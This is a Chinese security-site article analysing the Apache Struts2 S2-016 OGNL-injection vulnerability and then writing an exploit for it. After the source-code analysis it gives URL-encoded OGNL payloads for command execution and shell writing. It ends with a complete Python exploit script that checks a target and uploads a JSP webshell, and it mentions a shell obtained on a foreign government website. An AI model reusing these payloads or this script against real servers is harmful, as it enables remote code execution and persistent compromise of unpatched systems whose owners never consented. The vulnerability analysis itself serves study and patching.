English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 威盾新闻 >> Struts2漏洞之S2-016漏洞分析与exp编写

 

Struts2漏洞之S2-016漏洞分析与exp编写

威盾防火墙 2014-12-18

 
1、概述
S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究。这次迟到的分析也算是对过去的补充。这个漏洞影响了Struts 2.3.15.1之前的所有版本。问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行。

2、漏洞分析
分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:
foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。
当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action

method用来动态指明调用的方法,如调用hello中的execute方法,则可以传入url为:http;//www.foo.com/bar/hello.action?method:execute。
action用来指定其他的action,有了这个前缀,URL中的默认Action的execute方法不会被执行,而是执行其他action中的execute方法。
redirect一旦写定,同样不会执行默认action中的execute方法,而是重定向到其他的页面,内部通过ServletRedirectResult完成执行。
redirectAction同样会屏蔽默认action的方法,而是重定向到其他的Action,同样依靠ServletRedirectResult实现任务。
至于为什么redirect后面的东西就会当做Ognl执行呢?   继续往下分析源码。
传入如下URL给Struts2框架,并设置相应的断点。

Payload
127.0.0.1:8080/struts_hello/hello?redirect:
${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}

首先,在DefaultActionMapper中做的第一件事情就是将Action的名称和命名空间(namespace)给提取出来,接下来调用了两个方法,一个是handleSpecialParameters,主要是这个handleSepcialParameters方法中有问题。
首先要提取出redirect:${xxxxxx}作为key,然后调用execute方法。

继续跟进,发现是调用了构造方法中的其中一个,这里是根据识别的redirect前缀决定调用哪个put方法。
最最引人注目的就是这个redirect,这个redirect其实就是一个ServletRedirectResult的对象,前面也说过了,处理redirect前缀执行的就是这个类了,而这里只做了一件事,就是规定了重定向的方向,也就是逻辑流要跳转到哪里去。这个key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx内容。
以上就是对URL进行一次预处理,并将运行环境和对象创建出来,接下来就是在StrutsPrepareAndExecution调用了executeAction方法:
有童鞋可能会问,这个mapping到底是什么呢?
其实这个mapping就可以看成这次请求的一个参数表,里面规定了redierect的location、Action的名称、namespace等等,继续跟进,就一路跟到了StrutsResultSupport中:

这个方法就是为了解析参数并用于Ognl表达式。其中的param参数是个String类型,其实就是${xxx}。
进入translateVariables,这个过程可以清楚看到Struts2的装饰过程,最终来到了TextParseUtil类中:
对参数进行说明,第一个参数是个字符数组,主要规定了"redirect:"与后面的大括号之间的符号,可以是$,也可以是%。
expression就是${xxxx}。stack就是当前的值栈。
这个方法中首先将大括号中的内容提取出来:
这些只是将Ognl表达式进行提取,说白了就是进行一系列的字符串操作,而执行则是通过下面的语句:
var是提取出来的Ognl表达式,就是大括号里面的内容。接着执行了stack.findValue方法,正是这个方法将Ognl表达式执行了,其实就是到了比较底层的OgnlUtil中进行语法树分析并执行,最后返回执行的结果。这个执行的过程就是在OgnlValueStack中实现的(对于树中的每个节点进行执行),这里涉及了Ognl语法树算法,这里不赘述。
分析到这里,相信很多人都会明白了这个Ognl是如何就执行的了,这也是Struts2漏洞的最根本的地方,每个Struts2漏洞都是围绕着Ognl表达式机制。探测和分析出不同的方法(各种payload的奇怪表示)都是为了最终让服务端执行我们的Ognl表达式代码。


3、总结
S2-016的根本原因就是没有对几个前缀的后面进行严格的过滤,导致黑客可以传入符合Ognl表达式语法规则的字符串,使得Struts2将其当做Ognl表达式在ValueStack中执行,从而造成了任意命令的执行,getshell啊、列目录、echo上传,本质上都是执行java代码。

4、S2-016的exp编写
分析清楚了漏洞的原理,其实写个exp不是太难了。不过这里有个大坑,就是我在调试exp的时候,发现这个漏洞不同于以往的s2漏洞。对于一些URL中的特殊字符,比如等于号、空格、中括号、双引号、#符号等,必须要严格进行urlencode才行,否则exp会执行失败,不知道后面是怎么运作的,有兴趣的童鞋可以尝试探索一下。
在最后,给出我的漏洞监测+getshell脚本,代码如下:
POC:
%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()

GETSHELL:
%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29

[python] view plaincopy在CODE上查看代码片派生到我的代码片
  1. #coding=utf-8  
  2. import sys  
  3. import requests  
  4. class StrutsExploit():  
  5.   
  6.     def __init__(self):   
  7.         self.webshell = '''''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>'''  
  8.         self.payload = '''''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}'''  
  9.         self.detect_str = '''''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}'''  
  10.       
  11.     '''''获取shell的URL'''  
  12.     def getShellPath(self,url):  
  13.         rawurl = url  
  14.         count = 0  
  15.         i = 0  
  16.         lineIndex = []  
  17.         url = url.replace('http://','')  
  18.         for x in url:  
  19.             if x == '/':  
  20.                 lineIndex.append(i)  
  21.                 count += 1  
  22.             if count == 2:  
  23.                 break  
  24.             i += 1  
  25.         if len(lineIndex) != 2:  
  26.             proDir = ''  
  27.             partOne = partOne = rawurl[0:lineIndex[0]+7]      
  28.         else:  
  29.             proDir = url[lineIndex[0]:lineIndex[1]]   
  30.             partOne = rawurl[0:lineIndex[0]+7]    
  31.         shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp")  
  32.         return shellpath  
  33.   
  34.   
  35.     '''''检测是否存在漏洞'''  
  36.     def detect(self,url):  
  37.         url = "%s?%s" % (url,self.detect_str)  
  38.         try:  
  39.             r = requests.get(url,timeout=10)  
  40.             page_content = r.content  
  41.             if page_content.find('HACKER') != -1:  
  42.                 return True  
  43.             else:  
  44.                 return False  
  45.         except Exception, e:  
  46.             print '[+]Exploit Failed:',e  
  47.             return False  
  48.   
  49.     '''''攻击 上传shell到根目录'''  
  50.     def getshell(self,url):  
  51.         target_url = "%s?%s" % (url,self.payload)  
  52.         data = {'t':self.webshell}  
  53.         try:  
  54.             r = requests.post(target_url,data=data,timeout=10)  
  55.             page_content = r.content  
  56.             if page_content.find('DONE') != -1:  
  57.                 print '[+]Exploit Success,shell location:\n%s' % self.getShellPath(url)  
  58.             else:  
  59.                 print '[+]Exploit Failed'  
  60.         except Exception, e:  
  61.             print '[+]Exploit Failed:',e  
  62.             return  
  63.   
  64. if __name__ == '__main__':  
  65.     if len(sys.argv) != 2:  
  66.         print '[+]Usage:python s2-016.py [target_url]'  
  67.         sys.exit()  
  68.     url = sys.argv[1]  
  69.   
  70.     if not url.startswith('http://'):  
  71.         print '[+]URL is invalid!'  
  72.         sys.exit()  
  73.     print 'Powered By:Exploit\nQQ:739858341\n[:-)]Target:%s' % url  
  74.     attacker = StrutsExploit()  
  75.     if attacker.detect(url):  
  76.         print '[+]This website is vulnerable!'  
  77.     else:  
  78.         print '[+]Sorry,exploit failed!'  
  79.         sys.exit()  
  80.     attacker.getshell(url)  
  81.           

测试运行结果:

shell结果(国外ZF网站):

相关内容: 最新内容:
IE最新安全漏洞补救几大措施[2014-12-17]
Asp教程:Asp漏洞如何处理[2014-12-16]
黑客不爱软件漏洞 更喜欢利用错误配置[2014-12-16]
心情墙插件SQL注入及XSS漏洞分析和修复[2014-12-16]
常见Web漏洞[2014-12-13]
Web应用中的常见漏洞及攻击方式[2014-12-13]
实现一个Web版的类Metasploit的攻击框架[2014-12-18]
黑客搞渗透必须知道的JS.PHP,URL转码表[2014-12-18]
黑客攻防之SQL注入原理解析入门教程[2014-12-18]
PHP 伪静态隐藏传递参数名的四种方法[2014-12-18]
PHP伪静态页面函数附使用方法[2014-12-18]
真正可用的IIS的ISAPI-Rewrite伪静态URL图片防盗链规则写法[2014-12-18]